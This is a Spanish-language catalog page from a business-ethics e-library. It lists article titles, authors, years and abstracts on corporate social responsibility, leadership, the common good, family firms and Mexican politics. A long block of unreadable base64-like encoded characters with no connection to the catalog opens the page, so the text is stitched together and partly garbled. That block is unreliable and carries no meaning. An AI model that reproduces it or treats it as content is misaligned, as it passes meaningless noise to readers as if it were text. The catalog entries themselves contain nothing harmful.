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

Untitled Document
e-Biblioteca Productos: Artículos

Las empresas y la educación de los hijos

|Paulino Quevedo H. | 2008

Responsabilidad social y eficiencia económica

|Kenneth J. Arrow | 1975

Resumen: Este artículo aborda las formas en que la empresa afecta de diversas maneras a otros miembros de la economía. Además, cómo los códigos de ética pueden contribuir tanto al sentido social del mundo de los negocios como a su eficiencia económica.

La economía de mercado, escenario de cambio permanente

|Mauricio Rojas | 2004

Resumen: El cambio constante, que constituye la esencia de la economía de mercado, exige por parte de todos un estado permanente de alerta.

¿Eres solamente empleado o tienes trabajo?

|José Morales Mancera | 1997

Resumen: ¿Realmente estamos dando trabajo o sólo empleamos gente?, porque el empleo sin productividad o valor agregado, crea inflación, pues damos poder de consumo sin dar poder de participación real en la economía.

La ética del mercado libre

|Fred E. Foldvary | 1984

Resumen: El argumento en pro de la libertad económica está fundamentado en una base moral sólida: el mercado, libre de toda coerción, es la única forma ética del mercado.

Los núcleos envidiosos de poder

|José Morales Mancera | 2008

Resumen: Debemos hacer un serio examen de qué papel jugamos en los grupos humanos donde nos toco vivir, qué tanto somos colaboradores solidarios y subsidiarios de los otros sin envidias y cuánto queremos usar el grupo para nuestras propias finalidades.

Lugar de la pasión en las empresas

|John L. Ward y Craig E. Aronoff | 2001

Resumen: Una visión apasionada que también da significado pleno a las estrategias para lograr el éxito robustece más la motivación de toda la organización. Definir el plan de acción de la empresa facilita al líder despertar las potencialidades de los trabajadores y proveerlos de una dirección a seguir. Hacer esto también ayuda a estructurar la filosofía empresarial del propio líder.

Organizaciones abiertas y circulares

|Helena López-Casares Pertusa | 2008

Resumen: Una de las principales trabas a las que debe hacer frente la comunicación interna son los obstáculos que se interponen en el libre flujo de la comunicación.

Una Navidad en el bosque

|Helena López-Casares Pertusa | 2008

Resumen: En ocasiones tendemos a trabajar desde nosotros mismos, sin tener en cuenta a los demás, nos creemos con más derechos y nuestro egocentrismo es tal que pensamos que las decisiones que se tomen deben satisfacer nuestros intereses, necesidades y expectativas, olvidando, por completo que existe un equipo, un proyecto y un objetivo que trasciende a los intereses particulares.

Unas humildes lentejas

|Helena López-Casares Pertusa | 2008

Resumen: El mundo no pertenece a unos pocos, pero paradójicamente son unos pocos lo que lo mueven y los que deciden. esto más que una crisis es un pecado de poder y una hoguera de las vanidades.

Filosofía del mercado

|José Morales Mancera | 2005

Resumen: El mercado no es sólo el sitio donde se compra y se vende, sino la clave de toda la economía cuando es libre, transparente y ético, pero puede llegar a ser tramposo y libertino. ¿Puede ser el mercado libertino? Sí, cuando vende esperanzas falsas y mal orienta la demanda.

¿Qué es participar? ¿Cómo debe hacerse?

|José Morales Mancera | 2008

Resumen: Para la concepción democrática vigente, debe participar todo el mundo por igual, cualquiera que sea el nivel de que se trate, esde la empresa hasta el estado.

Respetar la libertad económica de las personas genera riqueza

|Ricardo Estefan Colín | 2008

Resumen: Una de las condiciones para la distribución justa de la riqueza es la acción subsidiaria del Estado.

¿Qué es la empresa?

|Luis Ignacio Román Morales | 2008

Resumen: Asumir que la empresa es el empresario, no sólo dificulta la responsabilidad a la que está obligada la empresa, sino que obstaculiza el sentido de una economía de mercado que busca ser competitiva.

Comunicación en clave de emoción

|Helena López-Casares Pertusa | 2009

Resumen: Si cada situación es diferente y los resultados que buscamos son diversos, es hora de dejar de ver la comunicación como un asunto lineal y comenzar a considerarlo como un proceso estratégico, cuyo funcionamiento hay que conocer y desgranar.

Cómo comunicar las reformas económicas

|Institución Futuro | 2009

Resumen: En épocas de crisis suele ser habitual que los líderes lleven a cabo reformas económicas para intentar encauzar la economía. Es entonces cuando el apoyo de los ciudadanos resulta más necesario que nunca, objetivo que sólo podrá alcanzarse mediante unas adecuadas prácticas de información.

¿Qué tiene Rafa?

|Helena López-Casares Pertusa | 2009

Resumen: Un buen líder es, ante todo, aquel que asume su puesto, su posición, pero desde los demás, nunca desde sí mismo. Rafael Nadal es eso y más.

El bien común como núcleo central de la moral del mercado

|Carlos Mc Cadden Martínez | 2009

Resumen: Quizá el efecto más perverso del sistema de mercado actual es la polarización de riqueza y poder, por lo que el bien común exige intervenciones directas que puedan alterar el mecanismo de mercado en orden a mediar los contrastes internos de las clases dominantes y entre éstas y las que aspiran a volverse económicamente significativas.

La participación de la empresa

|Oscar Ortiz Sahagún | 1978

El derecho al trabajo

|Jacques Leclerq | 2008

El empresario y los recursos humanos

|Arturo Martí Berenguer | 1994

Integración social en la empresa

|René Thery | 2008

Resumen: La integración social consiste en hacer vivir la idea matriz del grupo en los individuos, de manera que se identifiquen con él, realizando cada uno la obra, el quehacer común y aceptando su espíritu y su disciplina.

Dirige tu empresa como una orquesta

|Eric Meyer | 1994

Resumen: Preguntas clave para el aumento de la productividad. Consejos para el jefe de empresa. Tres soluciones para el jefe de empresa respecto de los equipos de trabajo.

La globalización de la solidaridad

|Antonio Delgado Pérez | 2008

El valor de los valores femeninos

|Héctor Zagal Arreguín | 2008

Resumen: La condición de la mujer en las organizaciones; problemas de la mujer profesional en el mundo laboral; el machismo en la empresa; la labor del empresario en la cuestión.

Un reto a los inconformes

|Manuel Loza Macías | 2008

Democracia: cabildeo inteligente u oposición intransigente

|José Morales Mancera | 2008

Resumen: Reflexión acerca de la democracia como opinión pública madura y de la capacidad de pactar y negociar en la democracia práctica; los tres caminos en el arte de resolver problemas: dominación, conciliación o integración.

[DESCARGAR EL ARTÍCULO (PDF)]

Los temas éticos para el político de empresa actual

|Joan Ginebra Torra | 2007

Resumen: Se plantean en este artículo una serie de cuestionamientos éticos con que los dirigentes de empresa pueden evaluar la gestión de su organización en el marco de la participación democracia, la globalización, las políticas sociales...

El decálogo de la ayuda

|USEM | 2004

Resumen: Si pensamos que es responsabilidad de un directivo favorecer la superación y el avance de sus colaboradores, permitiendo que se desarrollen y mejoren tanto como les sea posible, e intervenir sólo cuando esto sea necesario, el principio de subsidiaridad es un excelente medio para ello.

La empresa es para las personas

|Javier García Narro | 1987

Mejor capacitación, mayor productividad

|Lorenzo Servitje Sendra | 1989

La lección moral de Cervantes

|Francisco Pérez de Antón | 2004

El poder de convencimiento

|Manuel Loza Macías | 2008

Resumen: Qué y cómo le hacen los que convencen. Consejos para convencer.

Fraternidad en la empresa: Hacia una relación persona-persona

|Javier Millán Dehesa | 2000

Resumen: Las búsqueda del diálogo y la convivencia en la empresa; las consecuencias de la mera motivación económica. Por qué el empresario tiene que aportar lo esencial, su persona, para no recibir parcialidades adquiridas...

BIMBO, Estrategia de éxito empresarial

|Roberto Servitje | 2003

Ser responsables significa cultivar la vida

|Luis de la Peña Stettner | 2008

El líder que gana voluntades

| Helena López-Casares Pertusa | 2008

Resumen: Un buen líder es, ante todo, aquel que asume que su puesto, su posición, es una responsabilidad y no un privilegio, es un servicio y no un bien.

El desmantelamiento de PEMEX

|David Ibarra | 2008

Los cinco sentidos del empresario del siglo XXI

|Sergio Raimond-Kedilhac Navarro | 2008

Resumen: Los "sentidos" que debe cultivar el director de empresa al hacer negocios: sentido común, responsabilidad, sentido de urgencia, sentido trascendente de la vida, sentido del humor.

Dirección de empresa y pensamiento social

|José Morales Mancera | 2005

Liderazgo por qué y para qué

|Oscar Ortiz Sahagún | 2008

Resumen: Se exponen los rasgos comunes que la mayoría de los líderes poseen.

El empresario es un trabajador

|Manuel Loza Macías | 1998

Resumen: Razones, actitudes y acciones por las que el empresario debe ser un trabajador de la obra común y refrendar su liderazgo.

Capital humano

|Tolo Rmisky | 2008

Cómo sobrevivir entre sobornos y comisiones

|Antonio Argandoña | 2007

Resumen: La corrupción, el nombre genérico que damos al dinero u obsequios que se entregan para conseguir contratos o favores, hoy es un problema muy frecuente en todos los países. Se analiza la situación y se dan algunos consejos para enfrentarla.

Cultura crítica y transformación social

|José Emiliano Ibáñez | 2008

Factores clave para el aprendizaje y la adaptabilidad organizacional

|USEM México | 2008

Resumen: Una sístesis de los factores clave del aprendizaje organizacional, según los autores David A. Garvin, Amy C. Edmondson y Francesca Gino, en su artículo "¿Es la suya una organización de aprendizaje?", publicado en la edición de marzo de 2008 de la revista Harvard Business Review.

Las aceras quebradas de nuestra vida pública

|José Antonio Aguilar Rivera | 2008

El liderazgo para construir la sociedad

|José Morales Mancera | 1999

Resumen: Artículo sobre la descripción del líder auténtico, de las condiciones para serlo (características, capacidades) y sobre la relación del líder con la comunidad.

Dirección humana para empresas que triunfan

|Manuel Loza Macías | 2008

"¿Yo soy un empresario social?"

|Anne Kocinski | 2008

¿Qué piensan los latinoamericanos?

|Bernardo Kliksberg | 2007

Cómo lograr que las personas acepten el cambio

|Gordon L. Lippitt | 2005

Resumen: Las razones de la oposición y la forma en que éstas se pueden superar.

Cómo lograr que se pierda la confianza en una empresa

|Bruno Jarrosson | 2008

Resumen: Existen dirigentes de empresa cuya mentalidad está centrada en su propia persona, por lo que consideran a sus colaboradores como seres inferiores incapaces de tener iniciativas valiosas y en los que no se puede confiar, por lo cual hay que intimidarlos para que trabajen sin desviarse de las líneas fijadas desde arriba en función de los objetivos autoritariamente establecidos.

Aun en la crisis, delegar la autoridad

|Ary Kahan | 2001

Resumen: Es posible que en tiempos de crisis nos angustiemos y tratemos de tener bien sujetos todos los hilos de mando, pero ello es un error.

¿Propiedad o señorío?

|Carlos Llano Cifuentes | 2007

¿Puede la empresa ser comunidad?

|Manuel Loza Macías | 2008

Resumen: Aun cuando no llegue a ser verdadera comunidad, sí puede la empresa tener rasgos comunitarios.

Empresa y política: La enfermedad del poder

|Joan Ginebra Torra | 2008

Resumen: La sabiduría del político de empresa para construir equilibrios de poder en la organización y crear un juego de estructuras que mantengan y orienten hacia la acción constructiva estos equilibrios de poder. Las patologías del poder en la empresa.

Web 2.0 también en las empresas

|Institución Futuro | 2008

El paradigma de la complejidad

|Bonil J. Calafell | 2008

La Empresa como Agente de Educación Ciudadana

|Enriqueta Balbín Gutiérrez | 2008

Resumen: Artículo que trata la formación cívica de los integrantes de una empresa,  le responsabilidad de esta, los aspectos que debe cuidar el empresario para propiciar a los integrantes de la empresa habilidades y escenarios para un pleno ejercicio de participación ciudadana y convivencia justa.

Lectores insumisos. Lo que Harry Potter puede enseñar a los empresarios

|Iván Bogdan | 2007

Resumen: Es importante conocer ejemplos y situaciones como la sucedida en torno a Harry Potter, para entender que, gracias a las redes sociales y a internet, entre otros factores, el "mercado" dejó de ser definitivamente una masa abstracta, para convertirse en un conglomerado de individuos que, cuando quieren, pueden colaborar.

Empresas inteligentes

|Carlos Llano Cifuentes / Miguel Alejandro García Jaramillo | 2006

Resumen: Se exponen las claves configuradoras de la empresa inteligente: trabajar es aprender; dirigir es enseñar; y su ineludible dimensión ética.

La participación en el ejercicio del dominio

|Manuel Loza Macías | 2008

El poder de la sociedad y su capacidad de organización y creatividad en una democracia madura

|José Morales Mancera | 2006

Resumen: La democracia sólo puede madurar y durar cuando la sociedad organizada, esto es, no sociedad de masas (marxismo), ni de individuos aislados (individualismo), es capaz de crecer y desarrollarse por sus propias fuerzas e independiente y por encima del gobierno o servidores públicos, de los partidos y de los políticos (con mayúscula).

 

Una empresa a la medida del hombre

|Javier Millán Dehesa | 2006

Vuelve el humanismo político

|Rodrigo Guerra López | 2008

Donde se genera la violencia futura

|José Morales Mancera | 2008

Los principios sociales aplicados en la empresa

|Lorenzo Servitje Sendra | 2008

Viaje al centro del hombre

|Carlos Llano Cifuentes | 1999

Ética en la publicidad

|Luis Melnik | 1982

Debemos desarrollar una cultura de solidaridad

|Leonor Ahuja Sánchez | 2008

Notas de libertad

|Mariano Azuela Güitrón | 2008

Libertad de emprender, reto de México

|Edgardo Reyes Salcido | 1986

La autoridad en la empresa

|Santiago Bruron Subiabre | 1992

El nuevo reto del gran gerente

|Gabriel González Molina | 2008

Resumen: La clave de la competitividad actual es identificar los talentos de cada uno de los colaboradores de la empresa, y más importante aún: diseñar y afinar un rol de excelencia para que todos puedan brillar haciendo lo que mejor saben hacer.

La educación, una condición para la RSE

|Héctor Zagal Arreguín | 2008

Resumen: La responsabilidad social empresarial se aprende en casa, no en la oficina. Lo que se necesita es una educación sólida e integral en las personas.

El mercado y el Reino

|Michel Camdessus | 1993

El empresario y la publicidad

|Manuel Loza Macías | 2006

La importancia del bien común

|Vittorio Vaccari | 1993

Resumen: El bien común es una realidad objetiva. No es una configuración hipotética. No es una sugerencia vaga. El bien común tiene una lógica propia que implica la lógica de los intereses particulares en los límites de la moral y de lo lícito.

Construyamos un desarrollo sostenible con RSE

|Sophie Bornot Crébessac | 2008

Resumen: La responsabilidad social empresarial (RSE) es un componente fundamental para una empresa sostenible y competitiva. Es una palanca para incorporar las empresas a la construcción de un desarrollo sostenible.

Solidaridad a nivel internacional

|Jean Girette | 2001

La solidaridad: principio vital

|Manuel Loza Macías | 1998

Subsidiaridad

|Andrés Marcelo Sada | 1990

La justicia y el problema del mal

|José Morales Mancera | 1972

La empresa y el bienestar familiar

|Carlos Moreda | 2008

Motivación y dirección

|Luis Riesgo Ménguez | 2005

Ética ambiental y desarrollo

|Pedro Javier González Gutiérrez | 2008

La clase media en la "res publica" mexicana

|Carlos Mc Cadden Martínez | 2008

Resumen: El propósito de este artículo es esbozar un tema que no se encuentra en la agenda nacional: crear, como principal proyecto para México, una pujante clase media.

Cuando los mercados se convierten en casinos

|José Morales Mancera | 2005

La RSE, esencial para hacer negocios en el siglo XXI

|Alejandro Ramírez Magaña | 2008

¿Qué es educación integral?

|José Morales Mancera | 2007

Resumen: Socialmente tenemos que desarrollar el círculo de mejor persona para una mejor sociedad y mejor sociedad para una mejor persona.

Pensar de nuevo la responsabilidad social

|Héctor Zagal Arreguín | 2009

Resumen: Responsabilidad social empresarial es mucho más que una empresa preocupada por la ecología y amable con sus empleados.

 

 

¡Cambia o alguien más te cambiará!

|Carlos T. Wagner | 2009

Resumen: Los empresarios que mantienen su vigor creativo, una y otra vez reinventan sus empresas para mantenerlas vigentes, productivas, serviciales y lucrativas.

¿Buscar el yo, para perder el ego o buscar el ego, para perder el yo?

|José Morales Mancera | 2009

Resumen: El líder humilde es el que tiene mejores condiciones de planeación estratégica, es quien sabe delegar en el largo plazo, pues es realista de sí mismo,  de su gente, de sus recursos, de sus posibilidades y de su entorno presente y futuro. Sabe crear el mejor equipo de seguidores leales e imitadores. La gloria no es de él, es de su equipo.

Nueve cosas que la empresa puede hacer para evitar ser la próxima Enron

|Stuart Gilman | 2007

Resumen: Considerar realizar evaluación formal de la cultura de la empresa desde la perspectiva de las actitudes, percepciones, valores, estándares de conducta, presiones para delinquir, las comunicaciones, los riesgos y vulnerabilidades.

La rentabilidad de los valores: nuevo paradigma

|Pedro Javier González | 2009

Resumen: En la presente coyuntura de crisis económica se impone una pregunta crucial: ¿qué significa ser socialmente responsable cuando las economías entran en una dinámica recesiva, cuando los mercados se estrechan y cuando los empleos y los ingresos de la población se contraen?

Los engaños de un gasto social contraproducente

|José Morales Mancera | 2009

Resumen: "Estamos en una época de crisis, de revisiones fundamentales en las cuales  el pensamiento débil del tecnólogo puro, que solo conoce los "cómos", requiere un análisis fenomenológico de los resultados y de los "porqués y los paraqués", nuevas búsquedas a un nivel filosófico, humanístico y sociológico".

La revolución económica: una transformación moral

|Héctor Zagal Arreguín | 2009

Resumen: En el tema de la desigualdad, en la medida en que no se atienda el lado ético del problema, cualquier teoría, modelo o ley está condenada al fracaso. Podemos imitar todos los modelos que queramos, pero sin la voluntad de la clase privilegiada de revertir la situación, no estaremos haciendo más que intentar cuadrar el círculo.

Estado y mercado: más allá de la polarización

|Pedro Javier González | 2009

Resumen: Cómo, en las actuales condiciones de polarización que vive el país, se puede dar forma a un proyecto de futuro sustentado en el principio de la economía de mercado socialmente responsable. Ése es el reto: ofrecer pruebas fehacientes de que la economía de mercado socialmente responsable funciona y lo hace en beneficio de todos. Sólo así se podrá aspirar a construir una imagen de futuro compartida por la mayoría de los mexicanos.

Un viaje por el mundo de la Responsabilidad Social Corporativa

|Helena López-Casares Pertusa | 2009

Resumen: Consideraciones prácticas que se deben tener en cuenta a la hora de abordar y poner en marcha políticas de responsabilidad social en una organización.

Mapa La empresa constructora de ciudadanía

|USEM México | 2009

Resumen: Mapa de conceptos sobre el tema de la ciudadanía desde la empresa.

La comunicación oral y las formas

|Helena López-Casares Pertusa | 2009

Resumen: Artículo con consejos prácticos para una efectiva comunicación oral en los ámbitos profesional y social.

Construir ciudadanía desde la familia

|Enriqueta Balbín Gutiérrez | 2009

Resumen: No debemos olvidar que la familia puede ser un auténtico semillero de los valores de la democracia. Es en ella en donde se aprenden las conductas, valores, reglas e interacciones clave que caracterizan a los ciudadanos de una nación.

Un equipo de primera división

|Helena López-Casares Pertusa | 2009

Resumen: Como en el deporte, hacer equipo es el problema en la empresa y son muchas las que se dan cuenta de los estragos y de la ruina que ocasiona el individualismo de sus miembros.

La autoridad es para saber manejar el poder, no el poder para adquirir autoridad

|José Morales Mancera | 2009

Resumen: Reflexión sobre los distintos aspectos que conforman a un líder.

La dirección de los negocios en tiempos de incertidumbre

|José María Basagoiti | 1980

Resumen: "Si es que somos especialistas en la eficacia, debemos referirnos a la incertidumbre como el presupuesto obligado de la dirección”.

El déficit cívico

|Adrián Acosta Silva | 2002

Resumen: "Los ciudadanos conversan y discuten poco, comparten cierto síndrome de victimización y la certeza de que todas las maldiciones posibles han caído al país luego de la transición de las últimas décadas. hay una sensación de malestar generalizado en el ámbito público. Los ciudadanos tenemos acceso a más y mejor información que nunca pero, paradójicamente, hemos visto crecer un "déficit de deliberación pública".

Se lleva, no se lleva

|Helena López-Casares Pertusa | 2009

Resumen: "Ya es hora de poner en marcha todas las pautas que se vienen pregonando desde hace varios años. Los hábitos de higiene empresarial ya no se pueden aparcar. No podemos gestionar esta crisis desde los comportamientos que han primado en las empresas hasta ahora".

Los bienes terrenales del hombre

|José Morales Mancera | 2009

Resumen: La propiedad, lo más extendida posible, debe de cumplir dos funciones fundamentales para ser lícita: cuidar de los bienes, y volverlos productivos para la sociedad.

Ciudadanos y su gobierno

|John Gardner | 1995

Resumen: Hay demasiados ciudadanos en la actualidad que se mantienen desconectados de los centros de decisión de su propia sociedad. En alguna parte de las vastas burocracias, públicas y privadas, se toma una decisión que afecta sus vidas, pero esos ciudadanos no pueden saber quién tomó la decisión, o por qué o cómo.

El emprendedor en la economía de mercado

|Peter Werhahn | 2000

Resumen: La economía de mercado descansa fundamentalmente en el principio de la rentabilidad para la empresa individual; un principio que es esencial para la acción emprendedora.

¿Qué significa la victoria del PRI?

|Adrián Ruiz de Chávez Villafuerte | 2009

Resumen: La recuperación y fortalecimiento de las corrientes opuestas a la Transición es el resultado del voto libre de muchos de nuestros ilustres electores, sin distinción de clases sociales o regiones. ¿Cómo explicarlo? Hay varias rutas…

Liderazgo y el arte de saber mandar

|Héctor Zagal Arreguín | 2008

Resumen: El liderazgo no se practica en soledad. Es una práctica comunitaria, una relación simbiótica entre mandante y subordinados que se va perfeccionando con las buenas órdenes y el correcto obedecimiento. El liderazgo se construye desde la alteridad.

Los partidos sirven o estorban a la democracia

|José Morales Mancera | 2009

Resumen: Gran ayuda o costoso estorbo son los partidos, por lo que es conveniente pensar algunas ideas fundamentales. Son sólo temas de meditación, pura teoría, por si se nos llegara a ofrecer reformar o cancelar alguno.

"Líder carismático, maestro carismático"

|Leszek Kolakowski | 2006

Resumen: Conferencia en que el filósofo polaco Leszek Kolakowski analiza el concepto de carisma; después advierte sobre el peligro que representan los líderes carismáticos; y al final, apunta: bien empleado, el carisma es un don nada desdeñable.

Bringing Your Business to Life

|Michael Naughton | 2008

Resumen: Para un empresario ¿qué significa construir una comunidad de trabajo? Las empresas deben en primer lugar, unir a las personas -nos dice el autor. "En esto consiste su poder social: el poder para construir una comunidad".

Subsidiaridad: sus implicaciones y consecuencias en la sociedad

|José Morales Mancera | 2008

 

Resumen: Algunos confunden la subsidiaridad "como el subsidio, la dádiva, el donativo o la limosna", cuando debe ser visto como la forma escalonada de desarrollo dentro de las diferencias sociales, para abrir oportunidades a todos, para que puedan acceder lo mas rápidamente posible, si le ponen voluntad y ganas, a niveles de vida y valores superiores no por dádivas sino por sus propias capacidades adquiridas.

Formas modernas de esclavitud

|Ángeles Corte Ríos | 2007

 

Resumen: Da la impresión de que la esclavitud a puertas del siglo XXI sigue teniendo reminiscencias de una esclavitud del pasado, pero ha adquirido nuevas formas, nuevos rostros: trabajos forzados, explotación infantil, matrimonios forzosos, prostitución obligada, servidumbres domésticas y, por supuesto, también se incluye la esclavitud religiosa.

Urge en México una abundante riqueza limpia

|Carlos de la Isla Veraza | 2009

Resumen: Es falso de toda falsedad que la ética esté reñida con la eficiencia y éxito económicos. Lo que sí está demostrado con dramáticas evidencias es que los procedimientos inmorales con fines de lucro, más temprano que tarde, provocan desastres y quiebras.

Retos de las empresas familiares en México

|Imanol Belausteguigoitia Rius | 2008

Resumen: La continuidad de muchas empresas familiares depende de cómo concilien los intereses de la empresa y la familia, integren los talentos de sus miembros, se profesionalicen y de cómo afronten el proceso de sucesión.

Una mente preparada para aprender

|Helena López-Casares Pertusa | 2009

Resumen: Aprender no significa sólo conocer, sino también interiorizar que el cambio es en ocasiones sinónimo de avance. Si el entorno cambia y nosotros no, sentiremos que estamos en una constante lucha.

La amistad en los negocios y en la política

|José Morales Mancera | 2010

Resumen: Hay cuatro tipos de relaciones humanas en los negocios y la política, la mayor parte fingidas o falsas, no necesariamente de auténtica amistad, con las cuales se aglutinan los grupos primarios o sea los grupos de influencia humana mutua para las decisiones y el manejo de grupos, empresas o partidos, también de familias, iglesias o clubes.

Empresas familiares: los seis factores que propician el compromiso de las generaciones menores hacia sus organizaciones

|Imanol Belausteguigoitia Rius | 2009

Resumen: Mientras las generaciones mayores suelen quejarse de la falta de compromiso de las menores, estas últimas consideran frecuentemente que trabajan bajo un clima carente de estímulos y libertad de actuación, que les impide desarrollarse.

Ser laico

|José Morales Mancera | 2010

Resumen: La empresa puede tener manifestaciones religiosas en sus fiestas sin obligar a nadie. En cambio los partidos y los grupos intermedios no deben tener ninguna bandera o consigna religiosa pues crearían conflictos internos y externos, aunque deben respetar el comportamiento religioso al gusto y a la conveniencia de su personal.

Nadal y la gestión de la adversidad

|Helena López- Casares Pertusa | 2010

Resumen: Si, como afirmó Horacio, el don de la adversidad es el de "despertar talentos que en la prosperidad hubiesen permanecido dormidos", quizá sea una oportunidad de poner a prueba nuestras capacidades e identificar los recursos con los que contamos.

Los empresarios, ¿somos o no somos líderes sociales?

|Carlos T. Wagner | 2009

Resumen: Si el empresario no vive una ética social integral, o si no participa y vota en la política, su anti-testimonio cundirá y acabará por hacerlo víctima de la violencia o inmoralidad imperante. Si el empresario opina, actúa y proclama sus soluciones éticas, si vota y razona adecuadamente su voto, en algo influirá en el futuro y en su medio social.

Pensar para ser libre

|Pietro Ameglio | 2010

Resumen: Plantearnos si pensamos o no, es legítimo y urgente en nuestra actual etapa de conocimiento como especie humana.

Algunas ideas para prevenir conflictos en Empresas Familiares

|Imanol Belausteguigoitia Rius | 2009

Resumen:  Las Empresas Familiares son organizaciones con una gran carga emotiva. Por esta razón, la dimensión familiar, que ejerce una gran influencia sobre la empresa, debe ser correctamente canalizada en la empresa, con la idea de lograr que su impacto sea positivo.

Sobre el progreso en México

|José Woldenberg | 2010

Resumen: ¿Cuáles son los conceptos que nos ayudan construir nuestra idea de progreso? ¿Con base en qué sabemos si progresamos o no? ¿Qué deberíamos monitorear y medir para saber si vamos en la dirección correcta?

La guerra por el talento: ¿Es por el capital humano o por el coste?

|Guillermo Ceballos Serra | 2010

Resumen: "A pesar de que la importancia del capital humano está en el discurso y la prédica de todos los actores de la gestión de personas, la realidad dista de ser así, como puede verse a lo largo de todos los procesos de administración de recursos humanos", advierte Ceballos Serra. Para el autor los verdaderos costes -los importantes, los sensibles- están en las estructuras, prácticas y culturas obsoletas que asfixian el talento creador y que muchas veces no acertamos a remover.

...hasta el último aliento

|Héctor Zagal Arreguín | 2008

Resumen: La utilidad de la ética en los negocios es patente. Ahora la pregunta clave es, ¿cómo lograr la inserción de la ética en la empresa?, ¿es la ética algo que se aprende cuando se cursan los estudios de MBA?, ¿es una cualidad adquirida por el CEO leyendo libros?

Clasemedieros

|Luis de la Calle y Luis Rubio | 2010

Resumen:  A pesar de opiniones muy extendidas en contrario, México se está convirtiendo en una sociedad de clase media, en gran medida porque así se ve gran parte de la población. La consolidación de este sector es quizá el tema más importante para el desarrollo futuro del país y el evento histórico más significativo de las últimas décadas.

¿Políticos o burócratas?

|José Morales Mancera | 2010

Resumen: Algunos gobernantes y directores de empresa consideran que un proyecto estratégico de políticas públicas o de empresa, es un listado interminable de buenas intenciones cuando en realidad un buen plan estratégico es una síntesis muy breve y bien relacionada de objetivos posibles en orden de logro.

Lo obvio, lo creíble

|Helena López-Casares Pertusa | 2010

Resumen: En muchas ocasiones lo que creemos no nos deja ver lo que pasa de verdad. Las creencias pueden ser parásitos que se alimentan de la verdad y siembran un estado de suposición y especulación.

Entrenador que dirige, directivo que entrena

|Gregorio Manzano / Helena López-Casares | 2010

Resumen: Si un equipo no funciona se culpa al entrenador de su fracaso, y es curioso porque cuando se ganan partidos el entrenador afirma en ruedas de prensa y declaraciones que esos resultados son fruto del trabajo y del esfuerzo de sus jugadores. Hay quien dice que el entrenador ofrece explicaciones, mientras que los jugadores ponen excusas.

Sócrates y el PowerPoint

|José Morales Mancera | 2010

Resumen: El PowerPoint se hizo para vender cosas, útil instrumento de vendedores pues es puramente visual de lo que ahí se está mostrando, pero no sirve para trasmitir ideas y juicios abstractos ni motivaciones que no están presentes, y que sólo son compartidas de persona a persona por medio de la palabra. PowerPoint es expresión gráfica de datos de información previamente aceptados, no para ser raciocinados; es puramente informativo pero no formativo...

Habilidades sociales en la infancia

|Rubén Turienzo / Helena López-Casares | 2010

